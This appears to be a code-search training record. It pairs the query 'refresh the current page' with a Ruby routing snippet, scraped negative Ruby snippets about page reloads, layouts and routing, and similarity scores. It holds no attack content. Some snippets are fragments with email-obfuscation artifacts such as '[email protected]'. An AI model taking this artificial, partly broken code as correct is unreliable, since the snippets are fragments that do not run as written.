\"app/views/layouts/#{file_name}.html.erb\"\n copy_file 'layout_helper.rb', 'app/helpers/layout_helper.rb'\n end", "def set_layout\n if %w( print plain ).include? params[:layout]\n params[:layout]\n else\n 'default'\n end\n end", "def layout\n yield(monitoring_layout)\n monitoring_layout\n end", "def set_layout_flag\n @is_home_page = true\n end", "def index\n @maker_layouts = MakerLayout.all\n end", "def build\r\n self.ehtml, self.ecss, self.ejs = self.theme.page_layout.build_content() \r\n return self.ehtml, self.ecss, self.ejs\r\n end", "def print_layouts\n STDOUT.puts @layouts.join(\"\\n\")\n exit 0\n end", "def view_layouts_base_content(context = {})\n return '' if Setting.plugin_redmine_tagging[:wiki_pages_inline] == \"1\"\n\n return '' unless context[:controller].is_a? WikiController\n\n request = context[:request]\n return '' unless request.parameters\n\n project = Project.find_by_identifier(request.parameters['id'])\n return '' unless project\n\n page = project.wiki.find_page(request.parameters['page'])\n return '' unless page\n\n tag_context = project.identifier.gsub('-', '_')\n tags = ''\n\n if request.parameters['action'] == 'index'\n tags = page.tag_list_on(tag_context).sort.collect {|tag|\n link_to(\"#{tag}\", {:controller => \"search\", :action => \"index\", :id => project, :q => tag, :wiki_pages => true, :issues => true})\n }.join('&nbsp;')\n\n tags = \"<h3>#{l(:field_tags)}:</h3><p>#{tags}</p>\" if tags\n end\n\n if request.parameters['action'] == 'edit'\n tags = page.tag_list_on(tag_context).sort.collect{|tag| tag.gsub(/^#/, '')}.join(' ')\n tags = \"<p id='tagging_wiki_edit_block'><label>#{l(:field_tags)}</label><br /><input id='wikipage_tags' name='wikipage_tags' size='120' type='text' value='#{h(tags)}'/></p>\"\n\n ac = ActsAsTaggableOn::Tag.find(:all,\n :conditions => [\"id in (select tag_id from taggings\n where taggable_type in ('WikiPage', 'Issue') and context = ?)\", tag_context]).collect {|tag| tag.name}\n ac = ac.collect{|tag| \"'#{escape_javascript(tag.gsub(/^#/, ''))}'\"}.join(', ')\n\n tags += javascript_include_tag 'jquery-1.4.2.min.js', :plugin => 'redmine_tagging'\n tags += javascript_include_tag 'tag.js', :plugin => 'redmine_tagging'\n\n tags += <<-generatedscript\n <script type=\"text/javascript\">\n var $j = jQuery.noConflict();\n $j(document).ready(function() {\n $j('#tagging_wiki_edit_block').insertAfter($j(\"#content_text\").parent().parent());\n $j('#wikipage_tags').tagSuggest({ tags: [#{ac}] });\n });\n </script>\n generatedscript\n end\n\n return tags\n end", "def page_layout\n if @page\n if params[:popup]\n \"modal\"\n elsif [email protected]?\n @page.layout\n else\n choose_layout\n end\n else\n params[:popup] ? 'modal' : choose_layout\n end\n end", "def generate_html\n # the individual descriptions for files and classes\n gen_into(@files)\n gen_into(@classes)\n # and the index files\n gen_file_index\n gen_class_index\n gen_method_index\n gen_main_index\n\n # this method is defined in the template file\n write_extra_pages if defined? write_extra_pages\n end" ]
[ "0.7106484", "0.7084871", "0.7084871", "0.64781415", "0.64627373", "0.64015216", "0.6394078", "0.63576704", "0.6250488", "0.6228207", "0.6227595", "0.6224674", "0.6150285", "0.61324984", "0.60446775", "0.60074633", "0.6002124", "0.597773", "0.5962019", "0.5942571", "0.5935691", "0.5929427", "0.5909933", "0.5878833", "0.58777463", "0.5844218", "0.5835992", "0.58342916", "0.5822267", "0.581806", "0.5807219", "0.58045864", "0.579788", "0.5790228", "0.57645947", "0.57520527", "0.5735925", "0.57158244", "0.5710236", "0.5690207", "0.56879205", "0.56771326", "0.5675189", "0.5675189", "0.5671366", "0.56700003", "0.56697285", "0.56579775", "0.5654735", "0.5646719", "0.564425", "0.5644226", "0.5640016", "0.5633919", "0.5614154", "0.5611429", "0.56098676", "0.56082094", "0.5605867", "0.5602354", "0.5598933", "0.5590735", "0.5584566", "0.5580205", "0.5577225", "0.5573361", "0.5572029", "0.5572029", "0.5558916", "0.5554829", "0.5545921", "0.5541013", "0.55380076", "0.5530633", "0.5530633", "0.5527893", "0.5526582", "0.55033004", "0.5489559", "0.5477866", "0.5476503", "0.54740137", "0.5466928", "0.5462979", "0.5460413", "0.54558223", "0.5441363", "0.5439541", "0.54389715", "0.5433886", "0.5426144", "0.5402157", "0.5397923", "0.5397192", "0.5394853", "0.5391116", "0.5385701", "0.53856677", "0.5383325", "0.53768736", "0.536928" ]
0.0
-1
initial load of the agenda, and route first request
def componentWillMount() # copy server info for later use for prop in @@server Server[prop] = @@server[prop] end Agenda.load(@@page.parsed) Agenda.date = @@page.date self.route(@@page.path, @@page.query) # free memory @@page.parsed = nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def start!(roda_app)\n if Bridgetown::Current.preloaded_configuration.base_path == \"/\"\n load_all_routes roda_app\n return\n end\n\n # Support custom base_path configurations\n roda_app.request.on(\n Bridgetown::Current.preloaded_configuration.base_path.delete_prefix(\"/\")\n ) do\n load_all_routes roda_app\n end\n\n nil\n end", "def agenda\n path = \"#{ENDPOINT}/#{@id}/agenda\"\n response = self.class.get(path, verify: true)\n parse_body(response)\n end", "def start\n prepare_parser\n perform_request\n end", "def start\n put :start\n end", "def first_request\n reset_horizon\n end", "def start\n super\n end", "def _roda_main_route(_)\n end", "def startup\n end", "def start\n super\n end", "def start\n super\n end", "def start\n super\n end", "def start\n super\n end", "def start\n super\n end", "def load\n if params[:lastId].to_i > 0\n @events = Event.where(\"id > ? \", params[:lastId].to_i).order({ id: 'desc'})\n # There is no limit on this so technically\n # if a large amount of events came in, this would fail.\n else\n # returns nil if no records\n @events = Event.order({ id: 'desc'}).last(10)\n #render a view that can add on to the current home page.\n end\n render layout: false\n end", "def set_agenda\n @agenda = Agenda.find(params[:id])\n end", "def start\n\t\tinit\n\t end", "def set_agenda\n @agenda = Agenda.find(params[:id])\n end", "def set_agenda\n @agenda = Agenda.find(params[:id])\n end", "def set_agenda\n @agenda = Agenda.find(params[:id])\n end", "def start\n @actions << :start\n end", "def start\n\t\tend", "def schedule(uri); end", "def index\n @agenda = HTTParty.get('http://fake-co-calendar.herokuapp.com/api/v1/events?offset=-730')['events']['list']\n @agenda.each do |meeting|\n meeting['start_time'] = DateTime.strptime(meeting['start_time'] + Time.now.getlocal.zone, \"%Y-%m-%d %H:%M:%S %z\")\n meeting['end_time'] = DateTime.strptime(meeting['end_time'] + Time.now.getlocal.zone, \"%Y-%m-%d %H:%M:%S %z\")\n end\n end", "def start\n call :get, @endpoint\n end", "def startup\n end", "def startup\n end", "def startup\n end", "def initialize\n #load_config\n load_routes\n end", "def action_start\n proxy_action(:start)\n end", "def event_startup()\n @var[:start_time] = Time.now\n\n # Log the startup\n dispatch :log, \"Server startup (#{@port})\"\nend", "def start\n end", "def set_agenda\n @agenda = Agenda.find(params[:agenda_id])\n end", "def _roda_run_main_route(r)\n _roda_main_route(r)\n end", "def start\n @config[:start]\n end", "def start()\n\n\t\tend", "def start!\n \t@initial_queue = Dispatch::Queue.current\n event :start\n end", "def start\n \n\tend", "def start\n create('start')\n end", "def index\n initiate()\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n end", "def start\n\n end", "def start\n end", "def start\n end", "def first\n perform_request(first_page_uri) if first_page_uri\n end", "def start\n TaskScheduler.add_task(self)\n end", "def routes(&block); end", "def routes(&block); end", "def routes; end", "def routes; end", "def routes; end", "def routes; end", "def routes; end", "def routes; end", "def routes; end", "def routes; end", "def routes; end", "def routes; end", "def routes; end", "def start_accepting_requests\n\t\tself.start_heartbeat\n\t\tsuper\n\tend", "def on_start\n end", "def start\n puts app.routes.inspector.to_s\n end", "def _routes; end", "def handle_routes\n instance_exec(@_roda_app.request, &self.class.router_block)\n end", "def autostart; end", "def router; end", "def start\n events.map(&:schedule)\n end", "def autostart=(_arg0); end", "def initialize\r\n load_tasks\r\n end", "def _active_start!\n self\n end", "def on_start\n yield self\n end", "def set_request_start\n # byepassing to active admin's own\n # authentication process\n return true if request_from_admin?\n\n super\n end", "def setup(server)\n server.on('schedule', method(:schedule), 120)\n end", "def set_request_start\n @request_started_at = Time.now\n @used_auth_by_token = true\n end", "def started; end", "def start\n noth\n end", "def start\n log.info \"starting base resolver\"\n end", "def onStart\r\n end", "def start_handler\n end", "def agenda\n session[:menu] = 'Dans les jours qui viennent'\n @agenda = File.read(File.join('public','agenda.txt'))\n end", "def run\n # Locale supported: english for now.\n self.current_language = 'en'\n load_locales if locales.nil?\n\n # Loading data source from the endpoint\n load_data_source\n present_menu\n end", "def start_handler\n\tend", "def route() request.route end", "def start\n\t\t\t\t@endpoint ||= self.endpoint\n\t\t\t\t\n\t\t\t\t@bound_endpoint = Async do\n\t\t\t\t\tAsync::IO::SharedEndpoint.bound(@endpoint)\n\t\t\t\tend.wait\n\t\t\t\t\n\t\t\t\tConsole.logger.info(self) { \"Starting #{name} on #{@endpoint.to_url}\" }\n\t\t\t\t\n\t\t\t\t@debug_trap.ignore!\n\t\t\t\t\n\t\t\t\tsuper\n\t\t\tend", "def start\n jammit\n end", "def index\n load_event\n load_lists\n end", "def start_placebo\n\t\tGReactor.clear_listeners\n\t\tredis # make sure the redis connection is activated\n\t\tputs \"* Plezi #{Plezi::VERSION} Services will start with no Server...\\n\"\n\t\tstart_async\n\tend", "def route_index; end", "def index\n\n @title = 'Todays Events ('+ Time.now.to_date.to_s + ')'\n @user = @current_user\n @current_event, @events = Event.find_todays_events @user\n @plans = @user.plans.find(:all, :order=>\"deadline ASC\", \n :conditions=>{:parent_id=>nil})\n @new_event = Event.new\n @new_event.start_time = Time.now\n @new_plan = Plan.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml #ents/1/edit\n end\n end", "def start\n run_all if @options[:all_on_start]\n end" ]
[ "0.6121635", "0.6065378", "0.5877749", "0.5830962", "0.57163507", "0.568272", "0.5675922", "0.56260777", "0.55954474", "0.55954474", "0.55954474", "0.55954474", "0.55954474", "0.55767703", "0.5569882", "0.55623263", "0.5562022", "0.5562022", "0.55573", "0.55507684", "0.5539733", "0.5531137", "0.5505105", "0.5502679", "0.5485601", "0.5485601", "0.5485601", "0.5479238", "0.547545", "0.5462092", "0.5454741", "0.5446945", "0.54252267", "0.54218876", "0.5419705", "0.5413008", "0.54087275", "0.54049724", "0.5402653", "0.53994423", "0.53994423", "0.53994423", "0.53994423", "0.53841126", "0.53841126", "0.53841126", "0.53841126", "0.53841126", "0.53841126", "0.53841126", "0.53841126", "0.5371812", "0.5371571", "0.5371571", "0.53682494", "0.53624403", "0.53531265", "0.53531265", "0.5325807", "0.5325807", "0.5325807", "0.5325807", "0.5325807", "0.5325807", "0.5325807", "0.5325807", "0.5325807", "0.5325807", "0.5325807", "0.53228533", "0.53148466", "0.5311647", "0.5302547", "0.529308", "0.5282942", "0.5269149", "0.5266751", "0.52630746", "0.5262594", "0.52555203", "0.52476585", "0.5241638", "0.52208614", "0.5215755", "0.5212444", "0.5196809", "0.519534", "0.51911205", "0.5189003", "0.5188106", "0.5185358", "0.5181356", "0.51683486", "0.5164957", "0.5164209", "0.51585895", "0.51549363", "0.5147047", "0.5146879", "0.51394933" ]
0.57337636
4
navigation method that updates history (back button) information
def navigate(path, query) self.route(path, query) history.pushState({path: path, query: query}, nil, path) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def back\n navigate.back\n end", "def back\n navigate.back\n end", "def back\n navigate.back\n end", "def update_steps_history # rubocop:disable Metrics/AbcSize\n if history.nil?\n log_action('Creating first step into the back link history')\n session[:back_link_history] = { '1' => page }\n elsif last_step_page != page\n return clear_unused_steps if back_button && history\n\n log_action('Adding step to the back link history')\n session[:back_link_history][next_step] = page\n end\n end", "def history\n session[:back_link_history]\n end", "def back\n history_navigate(delta: -1)\n end", "def back\r\n @browser.navigate.back\r\n end", "def back\n @agent.history.pop\n end", "def back\n fetch(\"_sahi.go_back()\")\n end", "def go_back\n @browser.back\n end", "def back_click\n back\nend", "def history\r\n\r\n end", "def link_to_back\n link_to \"Back\", session[:prev_page]\n end", "def reset_navigation_history\n {\n method: \"Page.resetNavigationHistory\"\n }\n end", "def history; end", "def history; end", "def history; end", "def add_to_history(page); end", "def go_back\n back\n wait { find_ele_by_predicate_include(class_name: ui_ios.navbar, value: 'UICatalog') }\n end", "def back\n @driver.navigate.back\n @after_hooks.run\n end", "def redirection_history; end", "def previous_page\n end", "def back_url\r\n \"/classes/main?k=#{self.id}\"\r\n end", "def go_back\r\n command 'goBack'\r\n end", "def go_back\r\n command 'goBack'\r\n end", "def link_back(text = t(\"common.link_back\"))\n link_to_function text, \"self.history.back();\", :class => 'back'\n end", "def back\n fetch(\"window.history.go(-1)\")\n\n end", "def goto_previous_page(browser_handle)\n browser_handle.back\nend", "def get_navigation_history\n {\n method: \"Page.getNavigationHistory\"\n }\n end", "def previous_page; end", "def interactive_history_back e\n if not @history.at_beginning\n store_in_history\n @history.back\n restore_from_history\n end\n end", "def determinate_back_link_url\n if history.nil? || history.size == 1\n default_url\n else\n \"#{url}?page=#{session.dig(:back_link_history, previous_step)}?back=true\"\n end\n end", "def link_to_back\n link_to 'back', :back if request.env['HTTP_REFERER'].present?\n end", "def previous__clicked(*argv)\t\t\t\t\n\t\tif @@page == 0 \n\t\telse\n\t\t\t@@page = @@page - 8\n\t\t\trefresh_links()\n\t\t\tif @@load_favs != 0\t\n\t\t\t\tshow_favs()\n\t\t\tend\n\t\tend \n\tend", "def history\n # blank\n end", "def goto_end_of_history\r\n end", "def back_url\n @back_marked ? session[:back_url] : session[:prev_url]\n end", "def payment_history\n check_history_permissions\n @back_button_url = determinate_back_link_url\n rescue BaseApi::Error400Exception\n return redirect_to payment_history_path unless page_number == 1\n end", "def back(number = 1)\n `History.go(-number)`\n end", "def back(sender)\n self.navigationController.popViewControllerAnimated(true)\n end", "def back\n driver.navigate.back\n end", "def back\n driver.navigate.back\n end", "def back; end", "def back; end", "def back; end", "def call\n update_steps_history\n clear_more_then_10_steps\n determinate_back_link_url\n end", "def will_navigate_to_previous_footer_state(notification)\n go_back\n end", "def determinate_back_link\n session[:company_payment_history] = true if request.referer&.include?(payment_history_path)\n session[:payment_details_back_link] = request.referer || payment_history_path\n end", "def save_previous_page\n session[:return_to] = request.fullpath\n end", "def back\n $LOG.info \"Browser navigating backward\"\n begin\n $driver.navigate.back\n rescue Exception => e\n $LOG.error \"Browser navigating backward error \"+e.message\n $driver.save_screenshot(\"log/webscreenshot/webScreenshot_#{$webscreenshot}.png\")\n $webscreenshot = $webscreenshot+1\n raise \"Browser navigating backward error \\n Error Message :: \"+e.message\n end\n end", "def link_to_back(text, path, options={})\n link_to_action(text, path, options.reverse_merge(:action => :back))\n end", "def record_referrer\n session[:return_to] = request.url #save the current url in a session varable so the last page can be tracked for navigation and application flow\n end", "def page_back_button_path\n registered_applications_path\n end", "def history=(_arg0); end", "def history=(_arg0); end", "def forward\n history_navigate(delta: 1)\n end", "def go_back\n redirect_to '/account/property-syndication'\n end", "def previous_page_path; end", "def redirection_history=(_arg0); end", "def lp_back_button\n find_element(:xpath, \"//UIAApplication[1]/UIAWindow[1]/UIANavigationBar[1]/UIAButton[1]\")\n end", "def get_history(page_token = nil); end", "def determinate_back_link_url\n PaymentHistory::BackLinkHistory.call(\n session: session,\n back_button: request.query_parameters['page']&.include?('back'),\n page: page_number,\n default_url: dashboard_url,\n url: payment_history_url\n )\n end", "def do_back\n update_screen(get_step_content(@step - 1, @editor.value, @output.value))\n end", "def back_track()\n @ole.BackTrack()\n end", "def go_to_agencies\n if params[:back]\n session[:back] = true\n else\n session[:back] = false\n redirect_to agencies_url(:clear=>true)\n end\n end", "def cmd_history argv\n setup argv\n msg run_cmd(\"history\")\n end", "def change_location(target)\n @history.push target\n #TODO change used accessor\n end", "def previous__clicked(*argv)\t\t\t\t\n\t\tif @@page == 0 \n\t\telse\n\t\t\t@@page = @@page - 8\n\t\t\tdestroy_window()\n\t\t\tif @@load_favs == 0\t\n\t\t\t\tshow()\n\t\t\telse\n\t\t\t\tshow_favs()\n\t\t\tend\n\t\tend \n\tend", "def on_load\n set_nav_bar_button :left, title: \"Back\", action: :close_help_screen\n end", "def goBack(sender)\n web_view.goBack\n end", "def go_back\n back\n wait { !exists { id 'ArrowButton' } } # successfully transitioned back\n end", "def go_back\n back\n wait { !exists { id 'ArrowButton' } } # successfully transitioned back\n end", "def back()\r\n #set_browser_document()\r\n $jssh_socket.send(\"if(#{BROWSER_VAR}.canGoBack) #{BROWSER_VAR}.goBack();\\n\", 0)\r\n read_socket();\r\n wait()\r\n end", "def navigate_to_history_entry(entry_id:)\n {\n method: \"Page.navigateToHistoryEntry\",\n params: { entryId: entry_id }.compact\n }\n end", "def setup_navigation_listener\n `window.onpopstate = function(e){#{navigated}}`\n end", "def home\n @current_nav_identifier = :home\n params[:name] = @current_nav_identifier\n set_page\n end", "def redirect_back \n\t\tredirect_to request.env['HTTP_REFERER']\n\tend", "def refresh()\n self.route(history.state.path, history.state.query)\n end", "def previous\n end", "def previous\n end", "def back\n return root_path unless request.env['HTTP_REFERER']\n :back\n end", "def click_on_back_button\n\n click_button BACK_BUTTON\n sleep(THREAD_SLEEP_1)\n\n end", "def link_back_to_catalog(opts={:label=>'Back to Search Results'})\n query_params = session[:search].dup || {}\n query_params.delete :counter\n query_params.delete :total\n # use ordered parameters of session[:orderly_search_params] instead\n query_params.delete :q\n query_params.delete :search_field\n query_params.delete :f\n orderly_query_params = session[:orderly_search_params]\n query = orderly_query_params ? orderly_query_params[:q] : {}\n facet_query = orderly_query_params ? orderly_query_params[:f] : {}\n orderly_query_faceting_parameters = params_for_url (query.empty? ? facet_query : query.merge(facet_query))\n other_params = catalog_index_path(query_params)\n link_url = other_params.include?(\"?\") ? other_params.split(\"?\")[0] + orderly_query_faceting_parameters + \"&\" + other_params.split(\"?\")[1] : other_params + orderly_query_faceting_parameters \n link_to opts[:label], link_url\n end", "def store_previous\n end", "def write_history; end", "def interactive_history_forward e\n if not @history.at_end\n store_in_history\n @history.foreward\n restore_from_history\n end\n end", "def previous_page!\n previous_page.tap { |page| update_self(page) }\n end", "def _back_url\n _filtered_referrer || \"javascript:history.back()\"\n end", "def previous_page\n @links['previous']\n end", "def back_button(back_route)\n link_to(\"<i class=\\\"icon-white icon-arrow-left\\\"></i> Voltar\".html_safe, back_route, :class => 'btn btn-inverse',:title => 'voltar')\n end", "def redirect_back\n RedirectBack.new self\n end", "def previous_history()\r\n @history_offset!=0 ? @the_history[@history_offset-=1] : nil\r\n end", "def navigate_back_to(window, presenter)\n until window.presenter_stack.last == presenter\n window.presenter_stack.pop\n window.presenter_state_stack.pop\n end\nend", "def backlink; {color: :blue} end", "def prev_page\n go_to_page(@current_page-1)\n end", "def last_visited(action_name, controller_name)\n if(action_name =='find' and controller_name == 'search')\n session[:action]='back'\n session[:controller]=controller_name\n elsif(action_name =='index' and controller_name == 'main_menu')\n session[:action]=action_name\n session[:controller]=controller_name\n end\n end", "def visited(page)\n @visited[:forward] = [] unless @visited[:clicked]\n @visited[:back] << page unless @visited[:back].last.eql?(page)\n end", "def test_on_back_requests\n controller = new_controller\n go_back controller, '/path1'\n assert_equal nil, controller.session['previous_paths']\n end", "def test_when_going_backwards\n controller = new_controller\n trail controller, ['/path1', '/path2', '/path3']\n go_back controller, '/path2'\n\n assert_equal '/path1', controller.previous_path\n assert_equal 1, controller.session['previous_paths'].length\n end", "def history\n History\n end", "def navigate(direction)\n if direction==\"back\"\n\t $driver.navigate.back\n else\n $driver.navigate.forward\n end\nend" ]
[ "0.74514973", "0.74514973", "0.74514973", "0.7284807", "0.71872836", "0.7058552", "0.69886875", "0.697808", "0.69403505", "0.68598163", "0.6858495", "0.6804416", "0.6789752", "0.67638856", "0.6763668", "0.6763668", "0.6763668", "0.6706002", "0.668635", "0.6654037", "0.664002", "0.66305405", "0.66191584", "0.66063994", "0.66063994", "0.660243", "0.66006607", "0.65867865", "0.6585707", "0.6570017", "0.6559559", "0.6536755", "0.64986795", "0.6494972", "0.6492952", "0.6491132", "0.6486617", "0.64369607", "0.64081585", "0.63408107", "0.6335123", "0.6335123", "0.6325274", "0.6325274", "0.6325274", "0.6315281", "0.6302769", "0.6289808", "0.62881166", "0.6286425", "0.6273536", "0.6265926", "0.6260237", "0.62551856", "0.62551856", "0.6247726", "0.62337154", "0.62046975", "0.61989754", "0.61893237", "0.61711514", "0.61658216", "0.6147244", "0.6111161", "0.6097955", "0.6097685", "0.6090194", "0.608948", "0.60883856", "0.60723877", "0.6029092", "0.6029092", "0.6013955", "0.5995401", "0.5986461", "0.5984937", "0.59759635", "0.5973451", "0.59700614", "0.59700614", "0.5964834", "0.59521323", "0.59450406", "0.5937553", "0.5933693", "0.59234774", "0.59229654", "0.59196407", "0.5904712", "0.59027696", "0.5902476", "0.5900447", "0.58973855", "0.58958864", "0.5892007", "0.5879566", "0.5864969", "0.5856349", "0.5855772", "0.58555084", "0.5849551" ]
0.0
-1
refresh the current page
def refresh() self.route(history.state.path, history.state.query) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def reloads\n load_page\n end", "def reload\n Howitzer::Log.info \"Reload '#{current_url}'\"\n visit current_url\n end", "def refresh\n end", "def refresh\r\n end", "def refresh\n end", "def refresh\n end", "def refresh\n render js: \"location.reload()\"\n end", "def refresh\n do_refresh\n end", "def refresh\n do_refresh\n end", "def refresh\n @browser.refresh\n end", "def refresh\r\n @view.refresh\r\n end", "def refresh\n # FIXME\n end", "def reload\n refresh\n end", "def reload\n refresh\n end", "def refresh!; end", "def refresh; end", "def refresh!\n refresh\n @window.refresh\n end", "def refresh\n @window.refresh\n end", "def refresh\n command(\"Page.reload\", wait: timeout, slowmoable: true)\n end", "def refresh\n do_refresh\n self\n end", "def refresh\n Vedeu.trigger(\"_refresh_#{current}_\".to_sym)\n end", "def refresh\n send_cmd \"refresh\"\n nil\n end", "def refresh\n store\n\n render\n\n self\n end", "def refresh\n Vedeu.trigger(:_refresh_, current)\n end", "def refresh()\r\n #set_browser_document()\r\n $jssh_socket.send(\"#{BROWSER_VAR}.reload();\\n\", 0)\r\n read_socket();\r\n wait()\r\n end", "def reload\n\t\tself.request( :reload )\n\tend", "def refresh\n url=$driver.current_url\n $driver.navigate.to 'http://www.google.com/'\n quiesce\n $driver.navigate.to url\n quiesce\n $driver.current_url.should == url\n end", "def refresh\n driver.navigate.refresh\n end", "def refresh\n driver.navigate.refresh\n end", "def refresh\n driver.navigate.refresh\n end", "def reload\n get\n end", "def reload\n end", "def reload\n end", "def reload\n end", "def reload\n end", "def reload\n end", "def reload\n end", "def reload\n end", "def reload\n end", "def reload\n end", "def reload\n end", "def reload\n selenium.get_eval(\"selenium.browserbot.getCurrentWindow().location.reload()\")\n end", "def reload\n do_url 'reload', :put\n end", "def reload\n get_eval(\"selenium.browserbot.getCurrentWindow().location.reload()\")\n end", "def refresh\n load if changed?\n end", "def refresh\n response = Clever.request :get, url\n refresh_from response[:data]\n self\n end", "def update_page_on_index(page)\n if params[:search]\n target = page.toolbox.last.find(\"div.search_results.#{model_name.pluralize}\")\n if collection.empty?\n target.html(\"No #{resource_name.pluralize.humanize} found.\")\n else\n target.html(page.context.list_of(collection, :force_list => true))\n end\n elsif wants_refresh?\n # TODO replace current_frame\n page.update_current_frame(collection)\n else\n page.push_frame_for(collection, index_view)\n end\n end", "def refresh\r\n command 'refresh'\r\n end", "def refresh\r\n command 'refresh'\r\n end", "def reload\n resp = api_client.get(url)\n refresh(JSON.load(resp.body))\n end", "def refresh\n #==========================================================================\n # Here we set the Y-origin for the window's display to 0, so that the new\n # page will display from the top even if the player had scrolled all the\n # way to the bottom of the previous page. We also build the contents for\n # the current page, draw the page number display, and then draw whatever\n # the page is intended to contain. When creating a child window for this\n # class, make sure to create a draw_page# method for each page in the\n # window. I've set things up so that a page will remain blank (or display\n # its text from @pagetext, if it has any) if the method doesn't exist\n # rather than throwing an error and crashing, but that's no excuse to\n # leave a poor little page without a handler! Well, unless you're just\n # displaying text, but still. Try to be creative! You can create\n # encyclopedias with pictures, or magazines with articles set in various\n # column styles, or dozens of other things! Don't limit yourself to just\n # plain books - though those are good, too.\n #==========================================================================\n self.oy = 0\n create_contents and draw_scroll\n send(\"draw_page#{@page}\")\n return true\n end", "def update_page_on_show(page)\n if wants_refresh?\n page.update_frame_for(object)\n else\n page.push_frame_for(object)\n end\n end", "def refresh!\n load if changed?\n end", "def update\n \tredirect_to root_path\n end", "def refresh(options = {})\n self.link(:edit).get\n end", "def reload\n @view = nil\n end", "def refresh!\n unpack(agent.get(url))\n self\n end", "def page_revisions\n self.back_to_top\n page_revisions_button\n wait_for_ajax\n \n end", "def refresh\n $driver.refresh\n end", "def reload\n reset\n fetch\n end", "def reload\n reset\n fetch\n end", "def update\n @pages_feature = Page.where(site_id: @site.id, published: true, feature_on_homepage: true).all\n @page_root = Page.where(site_id: @site.id).roots.all\n @title = @page.title\n respond_to do |format|\n session[:return_to] ||= request.referer\n if @page.update(page_params)\n format.html { redirect_to session.delete(:return_to), notice: 'Saved' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end", "def refresh\n\t\t\[email protected]\n\t\t\[email protected] { |w| w.refresh if w.visible? }\n\t\tend", "def refresh_new_page\r\n return @erased ? nil : refresh_trigger_conditions\r\n end", "def reload!\n end", "def ajax_refresh\n\t\trender(file: 'sales/ajax_reload.js.erb')\n\tend", "def refresh\n Vedeu.trigger(:_refresh_view_, current)\n\n Vedeu.trigger(:_refresh_cursor_, current)\n end", "def refresh\n fetch_api_data\n self\n end", "def reload;end", "def repage\n with_command \"+repage\"\n end", "def reload\n self\n end", "def refresh\n page = @agent.get('https://wwws.mint.com/overview.event')\n\n @agent.post(\"https://wwws.mint.com/refreshFILogins.xevent\", {\"token\"=>@token})\n\n true\n \n end", "def open\n refresh\n super\n end", "def refresh()\r\n Fiber.yield\r\n end", "def refresh()\r\n Fiber.yield\r\n end", "def update\n super\n refresh if controller_changed?\n end", "def refresh\n tracking = tracking_handler.refresh!\n if tracking.success?\n flash[:success] = 'Tracking was successfully refreshed'\n else\n flash[:error] = tracking.error\n end\n redirect_to navigation.back(1)\n end", "def refresh\n raise NotImplementedError.new('I do not know how to refresh myself, please implement it in subclass.')\n end", "def reload\n self.class.find_by_url(href, token: token, headers: headers)\n end", "def refresh(response)\n @code = response.code\n @body = response.body\n @next_page = response.next_page\n response\n end", "def refresh\n update_databases()\n render json: {message: \"Information will be updated shortly\"}, status: :ok\n end", "def refresh\n loadCSV()\n redirect_to(records_path)\n end", "def flush_pages\n Rails.application.reload_routes!\n render :nothing => true\n end", "def refresh\n @jobs = Job.paginate :page => params[:page], :order => 'created_at DESC', :per_page =>10\n end", "def refresh\n return false\n end", "def refresh; schedule_update end", "def reload\n browser_files\n end", "def closeCurrent\n @selPocket = 0\n @page = -1\n @back = false\n @ret = nil\n self.refresh\n end", "def refresh\n @server.make_json_request('show.refresh', tvdbid: @tvdbid)['message']\n end", "def reload!; end", "def reload!; end", "def reload!; end", "def reload!; end", "def reload\n restart\n end", "def refresh_browser\n page.driver.browser.navigate.refresh\n page.driver.browser.switch_to.alert.accept rescue Selenium::WebDriver::Error::NoAlertPresentError\n end", "def showdata\n puts params[:datevalue]\n session[:dateval]=params[:datevalue]\n render :update do |page|\n page.replace_html('griddisp',:partial=>'edetails')\n end \nend", "def refresh_page_change?(new_page)\r\n # If event page is the same as last time\r\n if new_page == @page\r\n # End method\r\n return true\r\n end\r\n # Set @page as current event page\r\n @page = new_page\r\n return false\r\n end", "def update\n expire_page :action => :show\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end", "def change_page(p)\n self.page = p\n self\n end", "def refresh\n flash[:warning] ||= []\n flash[:notice] ||= []\n\n created, updated, errors = Rapport.fetch\n\n errors.each do |error|\n flash[:warning] << error\n end\n\n msg = \"<strong>Actualisation Terminée</strong><br />\"\n msg+= \"#{created.size} nouveau(x) fichier(s)<br />\"\n if created.any?\n msg+= \"<ul>\"\n msg+= created.map {|r| \"<li>#{view_context.link_to(r.xml_file_name, r)}</li>\" }.join\n msg+= \"</ul><br />\"\n end\n msg+= \"#{updated.size} fichier(s) mis à jour\"\n if updated.any?\n msg+= \"<ul>\"\n msg+= updated.map {|r| \"<li>#{view_context.link_to(r.xml_file_name, r)}</li>\" }.join\n msg+= \"</ul>\"\n end\n flash[:notice] << msg.html_safe\n\n end" ]
